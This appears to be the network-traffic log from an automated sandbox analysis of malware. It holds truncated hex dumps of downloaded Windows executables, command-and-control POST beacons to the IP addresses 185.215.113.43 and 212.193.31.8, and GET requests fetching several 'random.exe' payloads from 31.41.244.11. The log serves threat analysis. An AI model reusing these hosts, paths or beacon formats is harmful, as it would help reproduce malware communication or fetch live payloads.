00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 65 6b 63 61 7a 62 6f 00 f0 19 00 00 50 2f 00 00 e2 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 74 6c 6c 6f 7a 63 76 00 10 00 00 00 40 49 00 00 06 00 00 00 40 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 49 00 00 22 00 00 00 46 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 11:15:30 GMTContent-Type: application/octet-streamContent-Length: 439296Last-Modified: Sat, 21 Dec 2024 08:14:10 GMTConnection: keep-aliveETag: "676678d2-6b400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 01 33 64 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f2 04 00 00 00 02 00 00 00 00 00 27 a0 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 45 06 00 c8 00 00 00 00 d0 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 06 00 c0 45 00 00 e0 e1 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 05 00 18 00 00 00 18 e2 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 05 00 3c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6a f1 04 00 00 10 00 00 00 f2 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 90 48 01 00 00 10 05 00 00 4a 01 00 00 f6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 6d 00 00 00 60 06 00 00 2c 00 00 00 40 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 d0 06 00 00 02 00 00 00 6c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c0 45 00 00 00 e0 06 00 00 46 00 00 00 6e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
                              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 11:15:37 GMTContent-Type: application/octet-streamContent-Length: 605696Last-Modified: Thu, 12 Dec 2024 15:01:10 GMTConnection: keep-aliveETag: "675afab6-93e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4d 93 ba 99 09 f2 d4 ca 09 f2 d4 ca 09 f2 d4 ca 42 8a d7 cb 0c f2 d4 ca 42 8a d1 cb b6 f2 d4 ca 19 76 d7 cb 03 f2 d4 ca 19 76 d0 cb 18 f2 d4 ca 42 8a d2 cb 08 f2 d4 ca 19 76 d1 cb 63 f2 d4 ca 52 9a d5 cb 0b f2 d4 ca 42 8a d0 cb 12 f2 d4 ca 42 8a d5 cb 18 f2 d4 ca 09 f2 d5 ca cf f2 d4 ca 42 77 dd cb 0c f2 d4 ca 42 77 2b ca 08 f2 d4 ca 09 f2 43 ca 08 f2 d4 ca 42 77 d6 cb 08 f2 d4 ca 52 69 63 68 09 f2 d4 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 31 b5 31 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 ee 06 00 00 6c 02 00 00 00 00 00 0c 32 04 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 09 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 be 08 00 b4 00 00 00 00 60 09 00 48 04 00 00 00 10 09 00 74 4c 00 00 00 00 00 00 00 00 00 00 00 70 09 00 90 0b 00 00 80 04 08 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 06 08 00 28 00 00 00 40 03 08 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 07 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3e ec 06 00 00 10 00 00 00 ee 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 64 ce 01 00 00 00 07 00 00 d0 01 00 00 f2 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 3b 00 00 00 d0 08 00 00 1c 00 00 00 c2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 74 4c 00 00 00 10 09 00 00 4e 00 00 00 de 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 48 04 00 00 00 60 09 00 00 06 00 00 00 2c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 90 0b 00 00 00 70 09 00 00 0c 00 00 00 32 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
                              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 11:15:43 GMTContent-Type: application/octet-streamContent-Length: 4468736Last-Modified: Sat, 21 Dec 2024 11:08:34 GMTConnection: keep-aliveETag: "6766a1b2-443000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 b0 c8 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c8 00 00 04 00 00 64 56 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 95 c8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 95 c8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 74 00 00 10 00 00 00 4c 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 60 74 00 00 02 00 00 00 5c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 74 00 00 02 00 00 00 5e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 38 00 00 80 74 00 00 02 00 00 00 60 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 66 6b 72 72 6f 6d 6b 00 b0 1b 00 00 f0 ac 00 00 a8 1b 00 00 62 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 67 68 6a 69 6a 6c 76 00 10 00 00 00 a0 c8 00 00 04 00 00 00 0a 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 c8 00 00 22 00 00 00 0e 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 11:15:56 GMTContent-Type: application/octet-streamContent-Length: 1374720Last-Modified: Thu, 19 Dec 2024 17:14:58 GMTConnection: keep-aliveETag: "67645492-14fa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 54 14 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b8 c7 0b 00 00 10 00 00 00 c8 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 48 01 00 00 00 e0 0b 00 00 02 00 00 00 cc 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 98 a1 06 00 00 f0 0b 00 00 a2 06 00 00 ce 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d ec 94 01 00 00 a0 12 00 00 96 01 00 00 70 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 34 02 00 00 00 40 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 08 1c 00 00 00 50 14 00 00 1e 00 00 00 06 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 38 00 00 00 00 70 14 00 00 02 00 00 00 24 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 80 14 00 00 02 00 00 00 26 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 2c 6c 00 00 00 90 14 00 00 6e 00 00 00 28 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 63 00 00 00 00 15 00 00 64 00 00 00 96 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 11:16:03 GMTContent-Type: application/octet-streamContent-Length: 22016Last-Modified: Thu, 19 Dec 2024 14:25:14 GMTConnection: keep-aliveETag: "67642cca-5600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 0f 37 94 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 08 00 00 00 00 00 00 8e 6a 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 6a 00 00 4f 00 00 00 00 80 00 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 a8 69 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 4a 00 00 00 20 00 00 00 4c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ac 05 00 00 00 80 00 00 00 06 00 00 00 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 6a 00 00 00 00 00 00 48 00 00 00 02 00 05 00 28 37 00 00 80 32 00 00 03 00 02 00 1b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 38 00 00 00 01 00 00 11 73 2f 00 00 06 0a 06 28 16 00 00 0a 7d 20 00 00 04 06 02 7d 21 00 00 04 06 15 7d 1f 00 00 04 06 7c 20 00 00 04 12 00 28 01 00 00 2b 06 7c 20 00 00 04 28 18 00 00 0a 2a 13 30 02 00 50 00 00 00 02 00 00 11 00 7e 02 00 00 04 16 fe 01 0a 06 2c 42 00 72 01 00 00 70 28 19 00 00 0a 00 72 84 00 00 70 28 19 00 00 0a 00 28 05 00 00 06 0b 72 ca 00 00 70 07 28 1a 00 00 0a 28 19 00 00 0a 00 07 28 04 00 00 06 6f 1b 00 00 0a 00 16 28 1c 00 00 0a 00 00 2a 13 30 02 00 38 00 00 00 03 00 00 11 73 32 00 00 06 0a 06 28 16 00 00 0a 7d 28 00 00 04 06 02 7d 29 00 00 04 06 15 7d 27 00 00 04 06 7c 28 00 00 04 12 00 28 02 00 00 2b 06 7c 28 00 00 04 28 18 00 00 0a 2a 13 30 05 00 48 00 00 00 04 00 00 11 00 73 1d 00 00 0a 0a 1a 8d 2f 00 00 01 0b 16 0c 2b 1c 00 07 08 7e 03 00 00 04 06 7e 03 00 00 04 8e 69 6f 1e 00 00 0a 9a a2 00 08 17 58 0c 08 1a fe 04 0d 09 2d dc 72 f0 00 00 70 07 28 1f 00 00 0a 13 04 2b 00 11 04 2a 13 30 02 00 16
                              Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
                              Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                              Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 41 32 42 37 31 42 32 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7ABA2B71B25F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
                              Source: global trafficHTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 31 39 33 31 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1019315001&unit=246122658369
                              Source: global trafficHTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 33 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019316001&unit=246122658369
                              Source: global trafficHTTP traffic detected: GET /files/zhigarko/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 33 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019317001&unit=246122658369
                              Source: global trafficHTTP traffic detected: GET /files/kardanvalov88/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                              Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 33 31 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019318001&unit=246122658369
                              Source: global trafficHTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 39 30 46 42 36 34 38 42 42 44 37 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECB90FB648BBD71F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
                              Source: global trafficHTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
                              Source: global trafficHTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                              Source: global trafficHTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 39 30 46 42 36 34 38 42 42 44 37 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECB90FB648BBD71F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
                              Source: global trafficHTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                              Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 33 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019319001&unit=246122658369
